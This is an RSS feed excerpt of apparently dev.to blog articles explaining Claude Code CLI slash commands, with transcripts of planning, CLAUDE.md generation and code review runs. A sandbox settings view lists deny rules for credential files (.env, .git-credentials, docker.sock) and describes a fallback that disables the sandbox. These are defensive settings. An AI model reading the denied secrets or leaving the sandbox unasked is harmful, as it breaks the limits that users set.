    · npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/sandbox-runtime
    · or copy vendor/seccomp/&lt;span class="k"&gt;*&lt;/span&gt; from sandbox-runtime and &lt;span class="nb"&gt;set
      &lt;/span&gt;sandbox.seccomp.bpfPath and applyPath &lt;span class="k"&gt;in &lt;/span&gt;settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the Overrides tab, the current sandbox setting can be modified. If you want to stay strict, option 2 should be selected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

Configure Overrides:

    1. Allow unsandboxed fallback &lt;span class="o"&gt;(&lt;/span&gt;current&lt;span class="o"&gt;)&lt;/span&gt;
    2. Strict sandbox mode

  Allow unsandboxed fallback: When a &lt;span class="nb"&gt;command &lt;/span&gt;fails due to sandbox restrictions, Claude can retry with
  dangerouslyDisableSandbox to run outside the sandbox &lt;span class="o"&gt;(&lt;/span&gt;falling back to default permissions&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  Strict sandbox mode: All bash commands invoked by the model must run &lt;span class="k"&gt;in &lt;/span&gt;the sandbox unless they are explicitly listed
  &lt;span class="k"&gt;in &lt;/span&gt;excludedCommands.

  Learn more: code.claude.com/docs/en/sandboxing#configure-sandboxing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final tab shows configs at a glance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   +Overrides+   Config
Excluded Commands:
  None

  Filesystem Read Restrictions:
  Denied: /opt/claude/universal-skill-converter/.env, /opt/claude/universal-skill-converter/node_modules/bottleneck/.env,
   /opt/claude/proc, /opt/claude/run/docker.sock, /opt/claude/var/run/docker.sock

  Filesystem Write Restrictions:
  Allowed: /dev/stdout, /dev/stderr, /dev/null, /dev/tty, /dev/dtracehelper, /dev/autofs_nowait, /tmp/claude,
  /private/tmp/claude, /home/node/.npm/_logs, /home/node/.claude/debug, ., /tmp/claude-1000/
  Denied within allowed: /home/node/.claude/settings.json, /opt/claude/.claude/settings.json,
  /opt/claude/.claude/settings.local.json, /etc/claude-code/managed-settings.json, /etc/claude-code/managed-settings.d,
  /opt/claude/.claude/skills

  ⚠ Warning: Glob patterns not fully supported on Linux
  The following patterns will be ignored: Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.env&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.git-credentials&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.gitconfig&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;7 more&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Claude Code CLI offers more than 40 subcommands. This blog article explored all commands concerned with Diagnostics &amp;amp; User Feedback as well as permissions. The Diagnostics &amp;amp; User support section includes commands about a) accessing release notes, b) seeing details about the Claude Code installation method and information about updates, c) starting debug mode that logs detailed statements to a file during your session, d) submitting a bug report from your current Claude Code session, including session logs and runtime information, e) seeing all key bindings in a compact form, and browse all CLI and custom commands, f) starting interactive learning sessions that help you master the CLI, g) ordering Claude Code stickers and f) creating a Tamagotchi-like coding buddy. The permissions commands allow yoo to a) browse, edit, and add permissions via a dialogue, and b) see and configure sandbox settings for an even stricter invocation of Claude Code.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Conversation Ops and Terminal Configuration</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 09 Jul 2026 05:31:29 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</guid>
      <description>&lt;p&gt;Claude Code is the frontier agentic tool for coding. It autonomously creates structured plans with individual tasks to implement complex code changes. Under its hood, it parses user prompts, injects them into pre-configured system prompts, and issues and resolves tool usages to operate on a computers file system.&lt;/p&gt;

&lt;p&gt;This article continues the complete exploration of all Claude Code CLI commands. The particular focus are conversation ops, steering claude’s invocation in the current project, and permisions, fine-grained control how the claude code terminal can access your files.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conversation Ops
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Session persistence in Claude Code is implemented by writing JSONL files to specific folder in &lt;code&gt;~/.claude/projects&lt;/code&gt;. The assigned filename is a hash value, which makes it difficult to remember.&lt;/p&gt;

&lt;p&gt;With the &lt;code&gt;/rename&lt;/code&gt; command, you can provide a meaningful name, which is reflected in the file structure too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

────────────────────────────────────────────────── refactor-to-python ──
❯
────────────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The association between the custom-name and the session-hash is defined in a global session file. Take a look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.claude/sessions/1200.json:1:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"pid"&lt;/span&gt;:1200,&lt;span class="s2"&gt;"sessionId"&lt;/span&gt;:&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;,&lt;span class="s2"&gt;"cwd"&lt;/span&gt;:&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;,&lt;span class="s2"&gt;"startedAt"&lt;/span&gt;:1777104608328,&lt;span class="s2"&gt;"kind"&lt;/span&gt;:&lt;span class="s2"&gt;"interactive"&lt;/span&gt;,&lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;:&lt;span class="s2"&gt;"cli"&lt;/span&gt;,&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/init&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every LLM invocation needs context to work on tasks. Claude Codes memory architecture put the canonical &lt;code&gt;CLAUDE.md&lt;/code&gt; file as a permanent context into each session. This command reads the entire working directory, and creates this file as a summary of tis findings. When working on a coding project, it includes the tech stack, architecture, commands and more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/init

● Write&lt;span class="o"&gt;(&lt;/span&gt;CLAUDE.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Wrote 78 lines to CLAUDE.md
      1 &lt;span class="c"&gt;# CLAUDE.md&lt;/span&gt;
      2
      3 This file provides guidance to Claude Code &lt;span class="o"&gt;(&lt;/span&gt;claude.ai/code&lt;span class="o"&gt;)&lt;/span&gt; when working with code &lt;span class="k"&gt;in &lt;/span&gt;this reposit
        ory.
      4
      5 &lt;span class="c"&gt;## Overview&lt;/span&gt;
      6
      7 skill-convert is a CLI tool that converts skills from Anthropic&lt;span class="s1"&gt;'s skill.sh format to OpenClaw'&lt;/span&gt;s cl
        awhub format. It handles both &lt;span class="nb"&gt;local &lt;/span&gt;filesystem conversions and remote GitHub repository sources.
      8
      9 &lt;span class="c"&gt;## Common Commands&lt;/span&gt;
     … +68 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Created CLAUDE.md at /opt/claude/universal-skill-converter/CLAUDE.md. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, typecheck, lint, format
  - Architecture: Directory tree with descriptions of each module
  - Conversion flow: 6-step process from validation to marker writing
  - Remote sources: How GitHub URLs are detected and handled
  - Error handling: Exit codes and global handlers
  - Dependencies: Key npm packages used
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/plan&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Project size, the number of files and total lines of code, influence how good specific changes are. Although the agentic loop in Claude Code evolves between releases, it is a good idea to plan complex changes a priori.&lt;/p&gt;

&lt;p&gt;This command creates a plan.md file, defining all steps, which then serves as a runbook during execution.&lt;/p&gt;

&lt;p&gt;Here is an example how a refactoring of my universal-skill-converter project from NodeJS to Python could be implemented. Upon starting, the CLI dialogue even renders questions back to the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the codebase to
  understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for refactoring to
  Python.

● Updated plan
  ⎿  /plan to preview

● I have created a comprehensive refactoring plan. Let me confirm a few key design choices with
   you:
──────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────────────────
←  ☒ CLI Framework  ☐ Interface  ☐ Coverage  ☐ Async I/O  ✔ Submit  →

Should I keep the same package structure and CLI command names?

❯ 1. Yes, identical
     Same commands and arguments for zero friction
  2. Custom names
     Can use better Python naming conventions
  3. Type something.
──────────────────────────────────────────────────────────────────────
  4. Chat about this
  5. Skip interview and plan immediately
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated plan file is stored at &lt;code&gt;.claude/plans/&lt;/code&gt;. Here is a summary description ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Here&lt;span class="s1"&gt;'s the plan file for the Python refactoring:

  Plan Summary

  File: /home/node/.claude/plans/serene-waddling-newt.md

  Project: universal-skill-converter - Convert TypeScript CLI tool to Python

  Key Highlights:

  1. Tech Stack:
    - CLI: Click (user-selected)
    - Validation: Pydantic
    - Formatting: Rich
    - Git: GitPython
    - Testing: pytest
  2. Architecture: Modular layered design (CLI → Core → Models → UI)
  3. File Structure: 20+ Python modules organized in:
    - src/cli.py - Entry point
    - src/core/ - 12 core library modules
    - src/models/ - Pydantic models
    - src/ui/ - Output, prompts, logging
    - tests/ - Comprehensive test suite
  4. Migration Phases:
    - Phase 1: Project setup (30 min)
    - Phase 2: Core library migration (4 hours)
    - Phase 3: Main logic (1.5 hours)
    - Phase 4: CLI layer (1.5 hours)
    - Phase 5: Testing (3 hours)
    - Phase 6: Configuration (1 hour)

  Total: ~12 hours
  5. Success Criteria: &amp;gt;70% test coverage, identical CLI interface, 100% test pass rate, type checking passes

  The plan is ready for execution. Would you like me to proceed with implementation?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and a peek into the first source-code lines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Context&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Project&lt;span class="k"&gt;**&lt;/span&gt;: universal-skill-converter - CLI tool &lt;span class="k"&gt;for &lt;/span&gt;converting Anthropic skill.sh format to OpenClaw clawhub format

&lt;span class="k"&gt;**&lt;/span&gt;Current State&lt;span class="k"&gt;**&lt;/span&gt;: TypeScript/Node.js application with 1,460 lines of &lt;span class="nb"&gt;source &lt;/span&gt;code, comprehensive testing, and layered architecture

&lt;span class="k"&gt;**&lt;/span&gt;Refactoring Goal&lt;span class="k"&gt;**&lt;/span&gt;: Port the entire application to Python &lt;span class="k"&gt;while &lt;/span&gt;preserving:
- All functionality &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;and remote conversion&lt;span class="o"&gt;)&lt;/span&gt;
- Security features &lt;span class="o"&gt;(&lt;/span&gt;safe YAML parsing, path sanitization&lt;span class="o"&gt;)&lt;/span&gt;
- Testing coverage &lt;span class="o"&gt;(&lt;/span&gt;94 tests, 100% pass rate&lt;span class="o"&gt;)&lt;/span&gt;
- Architecture patterns &lt;span class="o"&gt;(&lt;/span&gt;layered design, single responsibility&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;## Design Approach&lt;/span&gt;

&lt;span class="c"&gt;### Architecture Pattern: Modular CLI Application&lt;/span&gt;

Following a similar layered approach:
- &lt;span class="k"&gt;**&lt;/span&gt;CLI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Argument parsing and &lt;span class="nb"&gt;command &lt;/span&gt;orchestration
- &lt;span class="k"&gt;**&lt;/span&gt;Core Library&lt;span class="k"&gt;**&lt;/span&gt;: Business logic modules
- &lt;span class="k"&gt;**&lt;/span&gt;Validation Layer&lt;span class="k"&gt;**&lt;/span&gt;: Input validation &lt;span class="o"&gt;(&lt;/span&gt;using pydantic&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="k"&gt;**&lt;/span&gt;UI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Output formatting and user interaction
- &lt;span class="k"&gt;**&lt;/span&gt;Tests&lt;span class="k"&gt;**&lt;/span&gt;: Comprehensive &lt;span class="nb"&gt;test &lt;/span&gt;suite with pytest

&lt;span class="c"&gt;### Tech Stack Decisions&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Core Dependencies&lt;span class="k"&gt;**&lt;/span&gt;:
- &lt;span class="sb"&gt;`&lt;/span&gt;click&lt;span class="sb"&gt;`&lt;/span&gt;: CLI framework &lt;span class="o"&gt;(&lt;/span&gt;similar to commander&lt;span class="o"&gt;)&lt;/span&gt; - User selected
- &lt;span class="sb"&gt;`&lt;/span&gt;pydantic&lt;span class="sb"&gt;`&lt;/span&gt;: Data validation and schemas &lt;span class="o"&gt;(&lt;/span&gt;similar to Zod&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;yaml&lt;span class="sb"&gt;`&lt;/span&gt;: YAML parsing &lt;span class="o"&gt;(&lt;/span&gt;with safe_load&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;rich&lt;span class="sb"&gt;`&lt;/span&gt;: Terminal formatting &lt;span class="o"&gt;(&lt;/span&gt;similar to picocolors + @clack/prompts&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;gitpython&lt;span class="sb"&gt;`&lt;/span&gt;: GitHub operations and repository fetching
- &lt;span class="sb"&gt;`&lt;/span&gt;jinja2&lt;span class="sb"&gt;`&lt;/span&gt;: Optional - &lt;span class="k"&gt;for &lt;/span&gt;template handling &lt;span class="k"&gt;if &lt;/span&gt;needed

...

&lt;span class="c"&gt;## Migration Steps&lt;/span&gt;

&lt;span class="c"&gt;### Phase 1: Project Setup&lt;/span&gt;
1. Create Python project structure
2. Set up pyproject.toml
3. Install dependencies
4. Create basic project skeleton

&lt;span class="c"&gt;### Phase 2: Core Library Migration&lt;/span&gt;
1. &lt;span class="sb"&gt;`&lt;/span&gt;errors.py&lt;span class="sb"&gt;`&lt;/span&gt; - Custom exception classes
2. &lt;span class="sb"&gt;`&lt;/span&gt;path_validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Path validation
3. &lt;span class="sb"&gt;`&lt;/span&gt;slug.py&lt;span class="sb"&gt;`&lt;/span&gt; - Slug generation
4. &lt;span class="sb"&gt;`&lt;/span&gt;yaml_handler.py&lt;span class="sb"&gt;`&lt;/span&gt; - YAML parsing/writing
5. &lt;span class="sb"&gt;`&lt;/span&gt;filesystem.py&lt;span class="sb"&gt;`&lt;/span&gt; - File system operations
6. &lt;span class="sb"&gt;`&lt;/span&gt;validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Input validation
7. &lt;span class="sb"&gt;`&lt;/span&gt;transformer.py&lt;span class="sb"&gt;`&lt;/span&gt; - Frontmatter transformation
8. &lt;span class="sb"&gt;`&lt;/span&gt;migrator.py&lt;span class="sb"&gt;`&lt;/span&gt; - File migration
9. &lt;span class="sb"&gt;`&lt;/span&gt;metadata.py&lt;span class="sb"&gt;`&lt;/span&gt; - Metadata generation
10. &lt;span class="sb"&gt;`&lt;/span&gt;marker.py&lt;span class="sb"&gt;`&lt;/span&gt; - Conversion tracking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/simplify&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command is more akin to a skill. It will launch subagents that check different aspects of the code, like duplication or efficiency, converge on all findings, and start implementing them right away.&lt;/p&gt;

&lt;p&gt;Here is an example run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll help you simplify the code. Let me first check for changes and then launch the three review agents.

...

● I'&lt;/span&gt;ll launch three review agents to analyze the codebase &lt;span class="k"&gt;for &lt;/span&gt;potential improvements across reuse, quality, and efficiency dimensions.

  Running 3 Explore agents… &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
   ├─ Code reuse review · 1 tool use · 13.8k tokens
   │  ⎿  Read: src/
   ├─ Code quality review · 3 tool uses · 14.6k tokens
   │  ⎿  Searching &lt;span class="k"&gt;for &lt;/span&gt;1 pattern, reading 2 files…
   └─ Efficiency review · 0 tool uses
      ⎿  Initializing…
     &lt;span class="o"&gt;(&lt;/span&gt;ctrl+b to run &lt;span class="k"&gt;in &lt;/span&gt;background&lt;span class="o"&gt;)&lt;/span&gt;
...

● Now I&lt;span class="s1"&gt;'ll aggregate the findings from all three agents and implement the fixes:

...

● Let me start by implementing the high-priority fixes:

  1. First, let'&lt;/span&gt;s create utility functions to reduce code duplication:

● Write&lt;span class="o"&gt;(&lt;/span&gt;src/lib/utils.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Wrote 76 lines to src/lib/utils.ts
       1 import &lt;span class="o"&gt;{&lt;/span&gt; promises as fs &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'fs'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       2 import &lt;span class="o"&gt;{&lt;/span&gt; fileExists, directoryExists &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'./fs.js'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       3
       4 // JSON file utilities
       5 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;readJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;T&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
